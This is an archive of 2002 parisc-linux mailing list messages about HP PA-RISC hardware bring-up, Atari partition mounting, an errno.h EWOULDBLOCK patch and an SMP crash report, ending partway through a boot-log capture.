NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621705 13828 80.91.229.3 (22 Nov 2014 02:01:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 10 00:19:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id E61A6482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Sep 2002 00:19:50 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id F3D6D2E3E4; Tue, 10 Sep 2002 00:19:48 -0600 (MDT)
In-Reply-To: <20020910050039.46620.qmail@web12506.mail.yahoo.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16086

I have been playing with an E35 and I can get the boot to go farther
then that.  Right now the boot is failing somewhere between the LED
detection and the POSIX conformance testing by UNIFIX.  I do not
really care about this failure right now since I am really only
interested in the discovering the missing devices on these systems.

Tonight, I found the missing devices on the system and I am currently
working on figuring out how to integrate this discovery into the
bus walk code.  I hope to have a patch committed within the next day
or so which detects all the devices on the system.  After that I will
add this failure to my TODO list (if the ESIEE will still let me have
access to this system, but i am hoping that someone else will take the
challenge and find/fix the problem :))

Thanks,

- Ryan


On Mon, 2002-09-09 at 23:00, Derek Engelhaupt wrote:
> I was just curious how far in the boot process you E55 guys get.  I
> just tried to load the one I have in the office tonight.  I retrofitted
> it with an A1703-60003 LAN/Console/SCSI card I pulled out of one of our
> "crash and burn" H70 boxes.  It gets past the "console" message about
> "if this is the last thing you see" then starts dumping the stacks and
> ends in a Kernal error 15.  This card doesn't use the mux port to
> connect the console it uses a PS/2 type connector to the card and a
> DB25 connector to the terminal.  Just wanted to see how this compares
> to the other E Series machines out there.
> 
> derek
> 
> __________________________________________________
> Yahoo! - We Remember
> 9-11: A tribute to the more than 3,000 lives lost
> http://dir.remember.yahoo.com/tribute
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Modem communication, HP 730
Date: Tue, 10 Sep 2002 00:25:05 -0700 (PDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <20020910072505.62218.qmail@web12505.mail.yahoo.com>
References: <20020910052431.8592F482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621705 13830 80.91.229.3 (22 Nov 2014 02:01:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 10 01:25:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12505.mail.yahoo.com (web12505.mail.yahoo.com [216.136.173.197])
	by dsl2.external.hp.com (Postfix) with SMTP id 11145482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Sep 2002 01:25:07 -0600 (MDT)
Original-Received: from [24.197.204.164] by web12505.mail.yahoo.com via HTTP; Tue, 10 Sep 2002 00:25:05 PDT
In-Reply-To: <20020910052431.8592F482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16087

Grant,

That thing you speak of is not the modem...the modem is inside the K. 
That thing is called a LAM.  Local Access Module.  It varied from
country to country so they don't have to change the modem only the LAM.
 The modem acctually plugs into the Core i/o board via a set of about
20 pins that actually come throught the modem board.  Very easy to bend
and get out of alignment.

derek

--- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
> Derek Engelhaupt wrote:
> > I know the internal modem of the K-class is limited to 19200.  All
> of
> > the support modems we install for the systems are slowed down to
> 19200
> > even though they are 56k.  Coincidence?
> 
> Maybe not.  Does the modem connect directly the console manager or
> whatever it's called? That might be the limiting factor.
> 
> Could I cut off the goofy connector for K-class modem, solder on a
> DB-9
> (or DB25) and have a cool external 56k Modem?
> If so, I only need to know what the pinout is since power probably
> comes through the cable as well.
> 
> I've seen so many of those go in the trash here.
> 
> grant


__________________________________________________
Yahoo! - We Remember
9-11: A tribute to the more than 3,000 lives lost
http://dir.remember.yahoo.com/tribute


From - Thu Nov 08 21:24:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: accessing TOS and VFAT partitions on Linux (fwd)
Date: Tue, 10 Sep 2002 17:59:29 +0300 (EEST)
Lines: 108
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0209101752260.28289-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621705 13831 80.91.229.3 (22 Nov 2014 02:01:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:45 +0000 (UTC)
Cc: Richard Zidlicky <rz@linux-m68k.org>
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 10 08:59:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hal.pp.fishpool.fi (hal.pp.fishpool.fi [195.197.229.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F86C4829
	for <parisc-linux@parisc-linux.org>; Tue, 10 Sep 2002 08:59:32 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 17omUD-00042n-00; Tue, 10 Sep 2002 17:59:29 +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16088

I have submitted this to the m68k list first, hoping that someone might kno=
w,
and this is where Richard Zidlicky tried to help, but it looks like this _m=
ight_
be dependant upon an m68k-only patch... or is it?

Should the 2.4.18 kernel distributed thru the Woody/hppa tree be able to fi=
nd
not just Atari partitions, but also Atari's own flavor of DOS filesystem?

The kernel I run is based upon the defaults found in the 2.4.18-32 kernel, =
but
has Atari partitions support enabled.

PS:  I do not subscribe to parisc-linux, only to debian-hppa; please CC to =
me.

--=20
Martin-=C9ric Racine, Espoo, Finland.
"Kas sa tahad mind? - Nej!!! =C4r du en idiot?!!"
http://www.pp.fishpool.fi/~q-funk/

---------- Forwarded message ----------
Date: Tue, 10 Sep 2002 14:37:28 +0200
From: Richard Zidlicky <rz@linux-m68k.org>
To: Martin-=C9ric Racine <q-funk@pp.fishpool.fi>
Subject: Re: accessing TOS and VFAT partitions on Linux

On Tue, Sep 10, 2002 at 03:09:57PM +0300, Martin-=C9ric Racine wrote:
> On Tue, 10 Sep 2002, Richard Zidlicky wrote:
>=20
> > On Tue, Sep 10, 2002 at 08:36:29AM +0300, Martin-=C9ric Racine wrote:
> > > > > Is there any special trick to access those FAT partitions on Linu=
x?
> > > >=20
> > > > use 'atari=3Dyes' option to mount it.. doesn't appear to have it ma=
de into the
> > > > manpages yet?
> > >=20
> > > Nor does it appear to work. :(
> >=20
> > what does it say? Kernel or mount problem?=20
>=20
> The relevant part of /etc/fstab:
>=20
> /dev/sdb1 /TT030/C msdos defaults,errors=3Dremount-ro,atari=3Dyes 0 2
> /dev/sdb2 /TT030/D msdos defaults,errors=3Dremount-ro,atari=3Dyes 0 2
> /dev/sdb3 /TT030/E ext2 defaults,errors=3Dremount-ro 0 2
> /dev/sdb4 /TT030/F ext2 defaults,errors=3Dremount-ro 0 2
> /dev/sdb5 /TT030/G ext2 defaults,errors=3Dremount-ro 0 2
> /dev/sdb6 /TT030/H ext2 defaults,errors=3Dremount-ro 0 2
> /dev/sdb7 /TT030/I vfat defaults,errors=3Dremount-ro,atari=3Dyes 0 2
> /dev/sdb8 /TT030/J swap sw 0 2
> /dev/sdb9 /TT030/K ext2 defaults,errors=3Dremount-ro 0 2
> /dev/sdb10 /TT030/L msdos defaults,errors=3Dremount-ro,atari=3Dyes 0 2
> /dev/sdb11 /TT030/M ext2 defaults,errors=3Dremount-ro 0 2
>=20
> <root@zarya:/root># mount -a
> mount: wrong fs type, bad option, bad superblock on /dev/sdb1,
>        or too many mounted file systems
> mount: wrong fs type, bad option, bad superblock on /dev/sdb2,
>        or too many mounted file systems
> mount: wrong fs type, bad option, bad superblock on /dev/sdb7,
>        or too many mounted file systems
> mount: wrong fs type, bad option, bad superblock on /dev/sdb10,
>        or too many mounted file systems

this looks like kernel problem than.. not quite sure if or when
that stuff was ever merged into mainline kernel. Certainly not
before 2.4.13.

>=20
> Linux zarya 2.4.18 #3 ti elo=A027 02:15:57 EEST 2002 parisc unknown unkno=
wn GNU/Linux
>=20
> > Quite possible that you will need to fetch a kernel from linux-m68k-cvs=
=2Eapia.dhs.org
>=20
> You produce non-m68k kernels too? ;-)

the diff between m68k and Linus tree is very small in 2.4.19, our
kernels should work perfectly on x86. Certainly not optimised for
parisc though :(
Compare your fs/fat/inode.c with ours, possibly also 2.4.19.

> > > Is that "atari=3Dyes" option found only in a special version of mount=
?
> >=20
> > doesn't appear like special support were required here, I know only the=
=20
> > kernel side of it. It would be possible to compile a special 386 kernel=
=20
> > with that parameter hardcoded into it (in fs/fat/inode.c change=20
> > #ifdef CONFIG_ATARI to #if 1). Might not work with ordinary MSDOS volum=
es
> > very well than.
>=20
> That's not desirable, of course.

might be worth a try, after looking at the stuff it appears to do some
autodetection. It should certainly continue to work at least on MSDOS
floppies.

Richard





From - Thu Nov 08 21:24:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPUX guru needed -> definition of EWOULDBLOCK in /usr/include/asm/errno.h
Date: Tue, 10 Sep 2002 12:18:29 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <20020910161829.GD2732@systemhalted>
References: <Pine.LNX.4.44.0209092343150.2394-100000@alpha.bocc.de> <20020909220448.GP17893@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621705 13834 80.91.229.3 (22 Nov 2014 02:01:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:45 +0000 (UTC)
Cc: Jochen Friedrich <jochen@scram.de>,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 10 10:18:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (unknown [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B0FB4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Sep 2002 10:18:41 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17onif-0002bd-00; Tue, 10 Sep 2002 12:18:29 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>,
	Jochen Friedrich <jochen@scram.de>,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <20020909220448.GP17893@tausq.org>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16089

> 
> On some SysV systems EAGAIN != EWOULDBLOCK. I think we inherited the
> errno definitions from HPUX...
> 
> glibc's documentation says:
> 
> Portability Note: In many older Unix systems, this condition was indicated by EWOULDBLOCK, which was a distinct error code different from EAGAIN. To make your program portable, you should check for both codes and treat them the same. 
> 
> sounds like good advice to me.. :-)
> 
> it does say, however, that for glibc EWOULDBLOCK and EAGAIN should have
> the same value though, so i guess ours is wrong... i wonder if we'll
> break things if we changed it.
> 
> randolph

I agree with randolph, you should change the code to check for EAGAIN aswell.

On the other hand...

We have to do both of the following in order to maintain backwards compatibility.
I'm all for ignoring that and just doing 'b' :}

a. Emulate EWOULDBLOCK == EAGAIN in assembly during syscall errors.
	- Added code to glibc :(

See:
glibc-2.2.5/sysdeps/unix/i386/sysdep.S
glibc-2.2.5/sysdeps/unix/sparc/sysdep.S
glibc-2.2.5/sysdeps/unix/x86_64/sysdep.S
glibc-2.2.5/sysdeps/unix/arm/sysdep.S
...

b. Just change the kernel header to alias EWOULDBLOCK as EAGAIN.

--- linux/include/asm-parisc/errno.h	1999-12-24 12:05:04.000000000 -0500
+++ linux/include/asm-parisc/errno.h.new	2002-09-10 12:09:52.000000000 -0400
@@ -134,7 +134,7 @@
 
 #define	EALREADY	244	/* Operation already in progress */
 #define	EINPROGRESS	245	/* Operation now in progress */
-#define	EWOULDBLOCK	246	/* Operation would block (Linux returns EAGAIN) */
+#define	EWOULDBLOCK	EAGAIN	/* Operation would block (Linux returns EAGAIN) */
 #define	ENOTEMPTY	247	/* Directory not empty */
 #define	ENAMETOOLONG	248	/* File name too long */
 #define	ELOOP		249	/* Too many symbolic links encountered */

This seems best since I don't really see any code in ioctl32.c that returns
EWOULDBLOCK :) We just confuse the applicaiton by providing a different value.
Does this have anything to do with HPUX compatibility? Would an HPUX application
expect different semantic meansings from these two values?

c.



From - Thu Nov 08 21:24:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E55
Date: Tue, 10 Sep 2002 20:00:43 +0200
Organization: private
Lines: 45
Approved: news@gmane.org
Message-ID: <3D7E334B.98E1AC47@gmx.at>
References: <20020910050039.46620.qmail@web12506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621706 13835 80.91.229.3 (22 Nov 2014 02:01:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Ryan Bradetich <rbradetich@uswest.net>
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 10 12:00:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86BFB4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Sep 2002 12:00:49 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020910180041.CNA3155.viefep13-int.chello.at@gmx.at>;
          Tue, 10 Sep 2002 20:00:41 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16090

I have the E55 as it is, without any additional card, 
and with my PDC Console driver I can completely boot
the system and work on it. BUT: Only via NFS Root,
as there is currently no SCSI support, no support
for the MUX (except port 0 as console with the PDC
driver) and without parallel (printer) port.

But Linux runs completely, including login, remote
X usage (xterm, etc...), access to the internet via
LAN, etc, ....

Hi Ryan, you have found the device ? This one on the
BC ? Sounds gooooooood !

Christoph


Derek Engelhaupt wrote:
> 
> I was just curious how far in the boot process you E55 guys get.  I
> just tried to load the one I have in the office tonight.  I retrofitted
> it with an A1703-60003 LAN/Console/SCSI card I pulled out of one of our
> "crash and burn" H70 boxes.  It gets past the "console" message about
> "if this is the last thing you see" then starts dumping the stacks and
> ends in a Kernal error 15.  This card doesn't use the mux port to
> connect the console it uses a PS/2 type connector to the card and a
> DB25 connector to the terminal.  Just wanted to see how this compares
> to the other E Series machines out there.
> 
> derek
> 
> __________________________________________________
> Yahoo! - We Remember
> 9-11: A tribute to the more than 3,000 lives lost
> http://dir.remember.yahoo.com/tribute
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] definition of EWOULDBLOCK in /usr/include/asm/errno.h
Date: Tue, 10 Sep 2002 22:22:07 +0200 (CEST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209102220520.6365-100000@alpha.bocc.de>
References: <20020909220448.GP17893@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621706 13838 80.91.229.3 (22 Nov 2014 02:01:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:46 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 10 14:22:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34F914829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Sep 2002 14:22:24 -0600 (MDT)
Original-Received: from alpha.bocc.de (pD9E27C9C.dip.t-dialin.net [217.226.124.156])
	(authenticated)
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id g8AKMDg06759;
	Tue, 10 Sep 2002 22:22:18 +0200 (CEST)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20020909220448.GP17893@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16091

Hi Randolph,

> Portability Note: In many older Unix systems, this condition was indicated by EWOULDBLOCK, which was a distinct error code different from EAGAIN. To make your program portable, you should check for both codes and treat them the same.
>
> sounds like good advice to me.. :-)

It's fixed this way in current zebra CVS. However, there might be other
applications which might be hit by this, as well.

Cheers,
--jochen



From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP problems
Date: Thu, 12 Sep 2002 08:48:34 +0300
Lines: 558
Approved: news@gmane.org
Message-ID: <20020912054834.GA32209@www1.dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="17pEHd4RhPHOinZp"
X-Trace: ger.gmane.org 1416621706 13842 80.91.229.3 (22 Nov 2014 02:01:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 11 23:47:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1 (unknown [217.116.164.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id D59E34829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Sep 2002 23:47:46 -0600 (MDT)
Original-Received: from www1 (www.dt-link.fi [217.116.164.99])
	by mail1 (Postfix) with ESMTP id 3F9757FBC
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Sep 2002 08:46:29 +0300 (EEST)
Original-Received: by www1 (Postfix, from userid 0)
	id D1D899AE; Thu, 12 Sep 2002 08:48:34 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16092

--17pEHd4RhPHOinZp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

This is a HP9000/R390 machine, or atleast the previous owner
said so. It has two PA8200 cpu's running at 240Mhz, but I have
disabled the second cpu for debuging this problem. As you can see
from the attached minicom capture, if running an SMP kernel with
only one cpu, it crashes. It also crashes when running on two cpu's,
which is why I am reporting this. This proves that the problem has
nothing to do with the two cpu's stepping on each others toes or
anything. The machine runs perfectly stable on an UP kernel. Any
comments, suggestions of things that I could do to help someone
debug it and anything else is welcome. Please CC me on replies,
I'm not on the list.

--
Arto Jantunen

--17pEHd4RhPHOinZp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="minicom.cap"
Content-Transfer-Encoding: quoted-printable




Firmware Version  38.39

Duplex Console IO Dependent Code (IODC) revision 0

---------------------------------------------------------------------------=
---
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
---------------------------------------------------------------------------=
---

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0       240 MHz   Active                 Functional            2 MB
      1       240 MHz   Stopped:Deconfigured   Unknown               2 MB

  Central Bus Speed (in MHz)  :        120=20

  Model: R390/2

  Available memory (bytes)    : 1073733632=20
  Good memory required (bytes):   86876160=20

  Primary boot path:    8/4.1   (dec)  =20
  Alternate boot path:  8/4.6   (dec)  =20
  Console path:         8/16/4.0   (dec)  =20
  Keyboard path:        8/16/7.0   (dec)  =20

CPU 0
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Trying Primary Boot Path
------------------------

Booting...=20
Boot IO Dependent Code (IODC) revision 152


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Partition Start(MB) End(MB) Id Type
1               1      16   f0 Palo
2              49    1002   82 swap
3            1003    4094   83 ext2
4              17      48   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3687647 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=3D/dev/sda3 HOME=3D/ console=3DttyS0 TERM=3D=
